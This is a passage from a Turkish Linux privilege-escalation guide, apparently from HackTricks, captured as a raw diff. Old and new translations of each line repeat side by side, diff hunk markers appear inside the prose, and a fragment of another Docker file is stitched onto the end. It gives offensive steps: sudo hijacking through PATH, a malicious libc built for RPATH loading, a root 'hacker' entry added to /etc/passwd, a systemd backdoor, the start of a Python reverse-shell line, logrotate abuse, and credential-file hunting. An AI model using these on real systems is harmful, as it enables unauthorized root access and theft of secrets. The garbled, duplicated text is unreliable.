Eğer bu dosyayı **okuyabiliyorsanız**, bazı ilginç bilgilere **erişebilirsiniz**, ve eğer herhangi bir dosyayı **yazabiliyorsanız**, ayrıcalıkları **yükseltebilirsiniz**.
Eğer bu dosyayı **okuyabiliyorsanız**, bazı ilginç bilgilere **erişebilirsiniz**, ve eğer herhangi bir dosyayı **yazabilirseniz**, ayrıcalıkları **yükseltebilirsiniz**.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
@ -989,13 +988,13 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
```
### DOAS
`sudo` ikamesi için `doas` gibi bazı seçenekler vardır OpenBSD için, yapılandırmasını kontrol etmeyi unutmayın `/etc/doas.conf`
`sudo` binary için `doas` gibi bazı alternatifler vardır OpenBSD için, yapılandırmasını kontrol etmeyi unutmayın `/etc/doas.conf`
```
permit nopass demo as root cmd vim
```
### Sudo Kaçırma
Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve ayrıcalıkları yükseltmek için `sudo` kullandığını** biliyorsanız ve o kullanıcı bağlamında bir kabuk elde ettiyseniz, **kök olarak kodunuzu çalıştıracak yeni bir sudo yürütülebilir dosya oluşturabilirsiniz** ve ardından kullanıcının komutunu çalıştırabilirsiniz. Sonra, kullanıcı bağlamının $PATH'ini değiştirin (örneğin, yeni yolu .bash\_profile içine ekleyin), böylece kullanıcı sudo'yu çalıştırdığında, kendi sudo yürütülebilir dosyanız çalıştırılır.
Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve ayrıcalıkları yükseltmek için `sudo` kullandığını** biliyorsanız ve bu kullanıcının bağlamında bir kabuk elde ettiyseniz, **kök olarak kodunuzu çalıştıracak yeni bir sudo yürütülebilir dosya oluşturabilirsiniz** ve ardından kullanıcının komutunu çalıştırabilirsiniz. Sonra, kullanıcı bağlamının $PATH'ini değiştirin (örneğin, yeni yolu .bash\_profile içine ekleyin), böylece kullanıcı sudo komutunu çalıştırdığında, sizin sudo yürütülebilir dosyanız çalıştırılır.
Kullanıcının farklı bir kabuk kullandığını (bash değil) biliyorsanız, yeni yolu eklemek için diğer dosyaları değiştirmeniz gerekecektir. Örneğin [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örnek için [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py) adresine bakabilirsiniz.
@ -1020,10 +1019,10 @@ sudo ls
`/etc/ld.so.conf` dosyası, **yüklü yapılandırma dosyalarının nereden geldiğini** gösterir. Genellikle, bu dosya aşağıdaki yolu içerir: `include /etc/ld.so.conf.d/*.conf`
Bu, `/etc/ld.so.conf.d/*.conf` yolundan yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları, **kütüphanelerin aranacağı diğer klasörlere işaret eder**. Örneğin, `/etc/ld.so.conf.d/libc.conf` dosyasının içeriği `/usr/local/lib` şeklindedir. **Bu, sistemin kütüphaneleri `/usr/local/lib` klasörü içinde arayacağı anlamına gelir**.
Bu, `/etc/ld.so.conf.d/*.conf` yolundaki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları, **kütüphanelerin aranacağı diğer klasörlere işaret eder**. Örneğin, `/etc/ld.so.conf.d/libc.conf` dosyasının içeriği `/usr/local/lib` şeklindedir. **Bu, sistemin kütüphaneleri `/usr/local/lib` klasörü içinde arayacağı anlamına gelir**.
Eğer bir kullanıcının **herhangi bir nedenden dolayı yazma izinleri** varsa, belirtilen yollardan herhangi birinde: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyasındaki herhangi bir klasörde, ayrıcalıkları yükseltebilir.\
Bu yapılandırmanın nasıl **sömürüleceğine** aşağıdaki sayfada bakın:
Eğer **bir kullanıcının** herhangi bir nedenden dolayı **yazma izinleri** varsa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyasındaki herhangi bir klasör, o zaman ayrıcalıkları yükseltebilir.\
Bu yanlış yapılandırmayı **nasıl sömürüleceğine** aşağıdaki sayfada bakın:
{% content-ref url="ld.so.conf-example.md" %}
[ld.so.conf-example.md](ld.so.conf-example.md)
@ -1040,7 +1039,7 @@ linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
`lib`'i `/var/tmp/flag15/` dizinine kopyalayarak, programın bu yeri `RPATH` değişkeninde belirtildiği gibi kullanacaktır.
`lib` dosyasını `/var/tmp/flag15/` dizinine kopyalayarak, programın bu konumda belirtilen `RPATH` değişkeni tarafından kullanılacaktır.
```
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
@ -1049,13 +1048,7 @@ linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
### Linux Yetkilendirme Yükseltme
1. İlk olarak, `/var/tmp` dizininde kötü niyetli bir kütüphane oluşturun:
```bash
gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6
```
Daha sonra `/var/tmp` dizininde `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` komutunu kullanarak kötü niyetli bir kütüphane oluşturun.
```c
#include<stdlib.h>
#define SHELL "/bin/sh"
@ -1080,11 +1073,11 @@ Yetenekler hakkında daha fazla bilgi edinmek için aşağıdaki sayfayı okuyun
## Dizin izinleri
Bir dizinde "çalıştır" biti, etkilenen kullanıcının klasöre "cd" yapabileceği anlamına gelir.\
"Oku" biti, kullanıcının dosyaları listeleyebileceği anlamına gelir ve "yaz" biti, kullanıcının dosyaları silebileceği ve yeni dosyalar oluşturabileceği anlamına gelir.
"Okuma" biti, kullanıcının dosyaları listeleyebileceği anlamına gelir ve "yazma" biti, kullanıcının dosyaları silebileceği ve yeni dosyalar oluşturabileceği anlamına gelir.
## ACL'ler
Erişim Kontrol Listeleri (ACL'ler), geleneksel ugo/rwx izinlerini geçersiz kılabilen ikincil bir ayrıcalık katmanını temsil eder. Bu izinler, dosya veya dizin erişimini denetlemeyi geliştirir ve belirli kullanıcılara belirli hakları vererek veya reddederek grup üyeleri veya sahipleri olmayan kullanıcılara hak verir. Bu ayrıntı düzeyi, daha hassas erişim yönetimi sağlar. Daha fazla ayrıntıya [buradan](https://linuxconfig.org/how-to-manage-acls-on-linux) ulaşılabilir.
Erişim Kontrol Listeleri (ACL'ler), geleneksel ugo/rwx izinlerini geçersiz kılabilen ikincil bir ayrıcalık katmanını temsil eder. Bu izinler, dosya veya dizin erişimini denetlemeyi geliştirir, belirli kullanıcılara belirli hakları vererek veya reddederek grup sahipleri veya grup üyeleri olmayan kullanıcılara. Bu ayrıntılı erişim yönetimi seviyesi, daha hassas erişim yönetimini sağlar. Daha fazla ayrıntıya [buradan](https://linuxconfig.org/how-to-manage-acls-on-linux) ulaşılabilir.
Kullanıcı "kali"ye bir dosya üzerinde okuma ve yazma izinleri verin:
```bash
@ -1100,9 +1093,9 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
## Açık kabuk oturumları
**Eski sürümlerde**, farklı bir kullanıcının (**root**) bazı **kabuk** oturumlarını **ele geçirebilirsiniz**.\
**En yeni sürümlerde**, yalnızca **kendi kullanıcınızın** ekran oturumlarına **bağlanabileceksiniz**. Bununla birlikte, oturum içinde **ilginç bilgiler bulabilirsiniz**.
**En yeni sürümlerde**, yalnızca **kendi kullanıcı oturumlarınıza bağlanabileceksiniz**. Bununla birlikte, oturum içinde **ilginç bilgiler bulabilirsiniz**.
### Ekran oturumları ele geçirme
### Ekran oturumlarını ele geçirme
**Ekran oturumlarını listeleme**
```bash
@ -1121,7 +1114,7 @@ screen -x [user]/[session id]
Bu, **eski tmux sürümleri** ile ilgili bir sorundu. Root tarafından oluşturulan bir tmux (v2.1) oturumunu ayrıcalıklı olmayan bir kullanıcı olarak ele geçiremedim.
**Tmux oturumlarını listele**
**Tmux oturumlarını listeleme**
```bash
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
@ -1145,8 +1138,8 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
### Debian OpenSSL Tahmin Edilebilir PRNG - CVE-2008-0166
Eylül 2006 ile 13 Mayıs 2008 arasında Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) oluşturulan tüm SSL ve SSH anahtarları bu hatadan etkilenebilir.\
Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulduğunda meydana gelir, çünkü **yalnızca 32,768 varyasyon mümkündür**. Bu, tüm olasılıkların hesaplanabileceği anlamına gelir ve **ssh genel anahtarı olan kişi, karşılık gelen özel anahtarı arayabilir**. Hesaplanmış olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
Tüm Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) Eylül 2006 ile 13 Mayıs 2008 arasında oluşturulan SSL ve SSH anahtarları bu hatadan etkilenebilir.\
Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulduğunda ortaya çıkar, çünkü **yalnızca 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği anlamına gelir ve **ssh genel anahtarı olan kişi, karşılık gelen özel anahtarı arayabilir**. Hesaplanmış olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH İlginç yapılandırma değerleri
@ -1165,15 +1158,15 @@ Root'un ssh kullanarak giriş yapmasına izin verilip verilmediğini belirtir, v
### AuthorizedKeysFile
Kullanıcı kimlik doğrulaması için kullanılabilecek genel anahtarları içeren dosyaları belirtir. `%h` gibi belirteçler içerebilir, bu belirteçler ev dizini tarafından değiştirilecektir. **Mutlak yolları** (başlangıç `/`) veya **kullanıcının evinden başlayan göreceli yolları** belirtebilirsiniz. Örneğin:
Kullanıcı kimlik doğrulaması için kullanılabilecek genel anahtarları içeren dosyaları belirtir. `%h` gibi belirteçler içerebilir, bu belirteçler ev dizini tarafından değiştirilecektir. **Mutlak yolları** (başlangıç `/`) veya **kullanıcının evinden başlayan** **göreceli yolları** belirtebilirsiniz. Örneğin:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
O yapılandırma, eğer "**testusername**" kullanıcısının **özel** anahtarı ile giriş yapmaya çalışırsanız, ssh anahtarınızın genel anahtarını `/home/testusername/.ssh/authorized_keys` ve `/home/testusername/access` konumundaki anahtarlarla karşılaştıracağını belirtecektir.
O yapılandırma, "**testkullanıcıadı**" kullanıcısının **özel** anahtarı ile giriş yapmaya çalışırsanız, ssh'nin anahtarınızın genel anahtarıyla `/home/testkullanıcıadı/.ssh/authorized_keys` ve `/home/testkullanıcıadı/erişim` konumlarındaki anahtarları karşılaştıracağını belirtecektir.
### ForwardAgent/AllowAgentForwarding
SSH ajan yönlendirmesi, sunucunuzda (şifresiz!) anahtarları bırakmak yerine **yerel SSH anahtarlarınızı kullanmanıza izin verir**. Bu sayede, ssh üzerinden **bir ana makineye** atlayabilecek ve oradan **başka bir** ana makineye **başka bir** anahtar kullanarak **atlayabileceksiniz**.
SSH ajan yönlendirmesi, sunucunuzda (şifresiz!) anahtarları bırakmak yerine **yerel SSH anahtarlarınızı kullanmanıza olanak tanır**. Bu sayede, ssh üzerinden bir **ana makineye** ve oradan da **başka bir** ana makinaya **atlayabilirsiniz** ve bu sırada **ilk ana makinedeki** anahtarı **kullanabilirsiniz**.
Bu seçeneği `$HOME/.ssh.config` dosyasında şu şekilde ayarlamanız gerekmektedir:
```
@ -1182,8 +1175,8 @@ ForwardAgent yes
```
Eğer `Host` `*` ise, her seferinde kullanıcı farklı bir makineye geçtiğinde, o makine anahtarlarına erişebilecektir (bu bir güvenlik sorunudur).
Dosya `/etc/ssh_config` bu **seçenekleri geçersiz kılabilir** ve bu yapılandırmayı izin verebilir veya reddedebilir.\
Dosya `/etc/sshd_config` ssh-agent yönlendirmesine izin verebilir veya reddedebilir ve `AllowAgentForwarding` anahtar kelimesiyle yapılandırılabilir (varsayılan olarak izin verilir).
`/etc/ssh_config` dosyası bu **seçenekleri geçersiz kılabilir** ve bu yapılandırmayı izin verebilir veya reddedebilir.\
`/etc/sshd_config` dosyası `AllowAgentForwarding` anahtar kelimesi ile ssh-agent yönlendirmesine izin verebilir veya reddedebilir (varsayılan olarak izin verilir).
Eğer bir ortamda Forward Agent yapılandırıldığını fark ederseniz, **yetkileri yükseltmek için bunu kötüye kullanabilirsiniz**:
@ -1195,15 +1188,15 @@ Eğer bir ortamda Forward Agent yapılandırıldığını fark ederseniz, **yetk
### Profil Dosyaları
`/etc/profile` dosyası ve `/etc/profile.d/` altındaki dosyalar, bir kullanıcı yeni bir kabuk çalıştırdığında **çalıştırılan betiklerdir**. Bu nedenle, bunlardan herhangi birini **yazabilir veya değiştirebilirseniz yetkileri yükseltebilirsiniz**.
`/etc/profile` dosyası ve `/etc/profile.d/` altındaki dosyalar, **bir kullanıcı yeni bir kabuk çalıştırdığında yürütülen betiklerdir**. Dolayısıyla, bunlardan herhangi birini **yazabilir veya değiştirebilirseniz yetkileri yükseltebilirsiniz**.
```bash
ls -l /etc/profile /etc/profile.d/
```
Eğer garip bir profil betiği bulunursa, onu **duyarlı detaylar**ısından kontrol etmelisiniz.
### Passwd/Shadow Dosyaları
İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyalarının farklı bir isim kullanıyor olabileceği veya bir yedek dosya olabileceği için **hepsini bulmanız** ve içerisinde **hash'lerin olup olmadığını** görmek için onları okuyup okuyamadığınızı kontrol etmeniz önerilir:
Eğer herhangi bir garip profil betiği bulunursa, onu **duyarlı detaylar**ısından kontrol etmelisiniz.
İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyalarının farklı bir isim kullanıyor olabileceği veya bir yedek kopya olabileceği unutulmamalıdır. Bu nedenle **hepsini bulmanız** ve içerisinde **hash'lerin olup olmadığını** görmek için onları okuyup okuyamadığınızı kontrol etmeniz önerilir:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@ -1222,7 +1215,7 @@ openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
Ardından `hacker` kullanıcısını ekleyin ve oluşturulan şifreyi ekleyin.
Ardından kullanıcı `hacker` ekleyin ve oluşturulan şifreyi ekleyin.
```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
@ -1243,7 +1236,7 @@ Bazı **duyarlı dosyalara yazabilir mi** kontrol etmelisiniz. Örneğin, bazı
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
Örneğin, eğer makine **tomcat** sunucusunu çalıştırıyorsa ve **/etc/systemd/ içindeki Tomcat servis yapılandırma dosyasını değiştirebiliyorsanız,** o zaman şu satırları değiştirebilirsiniz:
Örneğin, makine **tomcat** sunucusunu çalıştırıyorsa ve **/etc/systemd/ içindeki Tomcat servis yapılandırma dosyasını değiştirebiliyorsanız,** o zaman şu satırları değiştirebilirsiniz:
```
ExecStart=/path/to/backdoor
User=root
@ -1280,7 +1273,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p
```bash
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
```
### \*\_geçmiş, .sudo\_olarak\_admin\_başarılı, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.eşdeğer, Dockerfile, docker-compose.yml dosyaları
### \*\_geçmişi, .sudo\_olarak\_yönetici\_olarak\_başarılı, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.eşdeğeri, Dockerfile, docker-compose.yml dosyaları
```bash
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
```
@ -1307,17 +1300,17 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
### Bilinen şifre içeren dosyalar
[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) kodunu okuyun, **şifre içerebilecek çeşitli dosyaları arar**.\
Bunu yapmak için kullanabileceğiniz **başka ilginç bir araç** ise: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) Windows, Linux ve Mac için yerel bir bilgisayarda depolanan birçok şifreyi almak için kullanılan açık kaynaklı bir uygulamadır.
Bunu yapmak için kullanabileceğiniz **başka ilginç bir araç** ise: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) Windows, Linux ve Mac'te saklanan birçok şifreyi almak için kullanılan açık kaynaklı bir uygulamadır.
### Günlükler
### Kayıtlar
Günlükleri okuyabiliyorsanız, içlerinde **ilginç/gizli bilgiler bulabilirsiniz**. Günlük ne kadar garip olursa, o kadar ilginç olacaktır (muhtemelen).\
Ayrıca, bazı "**kötü**" yapılandırılmış (arkadan açık kapılı?) **denetim günlükleri**, size şifreleri **denetim günlüklerinin içine kaydetmenize** izin verebilir, bu konuyla ilgili olarak şu yazıda açıklanmıştır: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
Kayıtları okuyabiliyorsanız, içlerinde **ilginç/gizli bilgiler bulabilirsiniz**. Kayıt ne kadar garipse, o kadar ilginç olacaktır (muhtemelen).\
Ayrıca, bazı "**kötü**" yapılandırılmış (arka kapılı?) **denetim kayıtları**, size **denetim kayıtlarının içine şifre kaydetmenize izin verebilir**. Bu konuyla ilgili olarak şu yazıda açıklandığı gibi: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
**Günlükleri okumak için** [**adm**](ilginc-gruplar-linux-pe/#adm-grubu) grubu gerçekten yardımcı olacaktır.
**Günlükleri okumak için** [**adm**](ilginc-gruplar-linux-pe/#adm-grubu) **grubu gerçekten yardımcı olacaktır.**
### Kabuk dosyaları
```bash
@ -1330,12 +1323,12 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
~/.zlogin #zsh shell
~/.zshrc #zsh shell
```
### Genel Kimlik Bilgileri Arama/Regex
### Genel Kimlik Bilgisi Arama/Regex
Ayrıca, adında "**password**" kelimesini içeren dosyaları ve içeriğinde de bu kelimeyi içeren dosyaları kontrol etmelisiniz, ayrıca log dosyalarında IP'ler ve e-postaları veya hash'leri regexlerini kontrol edin.\
Bunların hepsini nasıl yapacağını burada listelemeyeceğim, ancak ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından gerçekleştirilen son kontrolleri kontrol edebilirsiniz.
Ayrıca, adında "**password**" kelimesini içeren dosyaları ve içeriğinde de bu kelimeyi içeren dosyaları kontrol etmelisiniz, ayrıca log dosyalarında IP'leri ve e-postaları veya hash'leri regexlerle kontrol etmelisiniz.\
Bunların hepsini nasıl yapacağını burada listeleyeceğim, ancak ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından gerçekleştirilen son kontrolleri kontrol edebilirsiniz.
## Yazılabilir Dosyalar
## Yazılabilir dosyalar
### Python kütüphane kaçırma
@ -1347,21 +1340,23 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
```
### Logrotate sömürüsü
`logrotate`'daki bir zafiyet, bir günlük dosyasında veya üst dizinlerinde **yazma izinlerine** sahip olan kullanıcıların ayrıcalıklarını yükseltebilmelerine olanak tanır. Bu, genellikle **root** olarak çalışan `logrotate`'un, özellikle _**/etc/bash\_completion.d/**_ gibi dizinlerde keyfi dosyaları çalıştırmak için manipüle edilebileceği anlamına gelir. İzinleri sadece _/var/log_ dizininde değil, aynı zamanda günlük döndürmenin uygulandığı herhangi bir dizinde kontrol etmek önemlidir.
`logrotate`'daki bir zafiyet, bir günlük dosyasında veya üst dizinlerinde **yazma izinlerine** sahip olan kullanıcıların ayrıcalıklarını yükseltebilmelerine olanak tanır. Bu, genellikle **root** olarak çalışan `logrotate`'un, özellikle _**/etc/bash\_completion.d/**_ gibi dizinlerde keyfi dosyaları çalıştırmak üzere manipüle edilebileceği anlamına gelir. İzinleri sadece _/var/log_ dizininde değil, aynı zamanda günlük döndürmenin uygulandığı herhangi bir dizinde kontrol etmek önemlidir.
{% hint style="info" %}
Bu zafiyet, `logrotate` sürümü `3.18.0` ve daha eski sürümleri etkiler
Bu zafiyet, `logrotate` sürümü `3.18.0` ve daha eski sürümleri etkiler.
{% endhint %}
Bu zafiyet hakkında daha detaylı bilgiye şu sayfada ulaşabilirsiniz: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
Bu zafiyeti [**logrotten**](https://github.com/whotwagner/logrotten) ile sömürebilirsiniz.
Bu zafiyet, [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx günlükleri)** ile çok benzerdir, bu nedenle günlükleri değiştirebileceğiniz durumlarda, günlükleri kimin yönettiğini kontrol edin ve günlükleri sembollerle değiştirerek ayrıcalıkları yükseltebileceğinizi kontrol edin.
Bu zafiyet, [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx günlükleri)** ile çok benzerdir, bu yüzden günlükleri değiştirebileceğinizi fark ettiğinizde, günlükleri kimin yönettiğini kontrol edin ve simgelerle günlükleri değiştirerek ayrıcalıkları yükseltebileceğinizi kontrol edin.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
**Zafiyet referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
Herhangi bir nedenden dolayı bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine bir `ifcf-<ne_olursa>` betiği **yazabilirse** veya var olan bir betiği **ayarlayabilirse**, o zaman **sisteminiz ele geçirilmiştir**.
Herhangi bir nedenden dolayı bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine bir `ifcf-<neolursa>` betiği **yazabilirse** veya var olan bir betiği **ayarlayabilirse**, o zaman **sisteminiz ele geçirilmiştir**.
Ağ betikleri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tam olarak .INI dosyalarına benzerler. Ancak, Linux'ta Network Manager (dispatcher.d) tarafından \~kaynaklanır\~.
@ -1377,11 +1372,11 @@ DEVICE=eth0
`/etc/init.d` dizini, **Sistem V init (SysVinit)** için betikleri içerir, klasik Linux hizmet yönetim sistemi. Hizmetleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `yeniden yüklemek` için betikler içerir. Bu betikler doğrudan yürütülebilir veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla yürütülebilir. Redhat sistemlerinde alternatif bir yol ise `/etc/rc.d/init.d` dizinidir.
Öte yandan, `/etc/init` **Upstart** ile ilişkilidir, Ubuntu tarafından tanıtılan daha yeni bir **hizmet yönetimi**. Upstart'e geçişe rağmen, Upstart'ta bir uyumluluk katmanı nedeniyle SysVinit betikleri hala Upstart yapılandırmalarıyla birlikte kullanılmaktadır.
Öte yandan, `/etc/init` **Upstart** ile ilişkilidir, Ubuntu tarafından tanıtılan daha yeni bir **hizmet yönetimi** kullanarak hizmet yönetimi görevleri için yapılandırma dosyaları kullanır. Upstart'e geçişe rağmen, Upstart yapılandırmalarıyla birlikte SysVinit betikleri hala kullanılmaktadır çünkü Upstart'te bir uyumluluk katmanı bulunmaktadır.
**systemd**, gelişmiş özellikler sunan modern bir başlatma ve hizmet yöneticisi olarak ortaya çıkar, örneğin ihtiyaç duyulan daemon başlatma, otomatik bağlama yönetimi ve sistem durumu anlık görüntüleri. Dağıtım paketleri için dosyaları `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` dizinlerine düzenler, sistem yönetimi sürecini kolaylaştırır.
**systemd**, modern bir başlatma ve hizmet yöneticisi olarak ortaya çıkar, ihtiyaç duyulan daemon başlatma, otomatik bağlama yönetimi ve sistem durumu anlık görüntüleme gibi gelişmiş özellikler sunar. Dağıtım paketleri için dosyaları `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` dizinlerine düzenler, sistem yönetimi sürecini kolaylaştırır.
## Diğer İpuçları
## Diğer Püf Noktalar
### NFS Yetki Yükseltme
@ -1419,7 +1414,7 @@ DEVICE=eth0
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
**Kernelpop:** Linux ve MAC'te çekirdek zafiyetlerini sırala [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Kernelpop:** Linux ve MAC'te çekirdek zafiyetlerini sıralar [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Mestaploit:** _**multi/recon/local\_exploit\_suggester**_\
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
**EvilAbigail (fiziksel erişim):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
@ -1444,3 +1439,18 @@ DEVICE=eth0
* [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux)
* [https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
* [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Docker Güvenliği
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
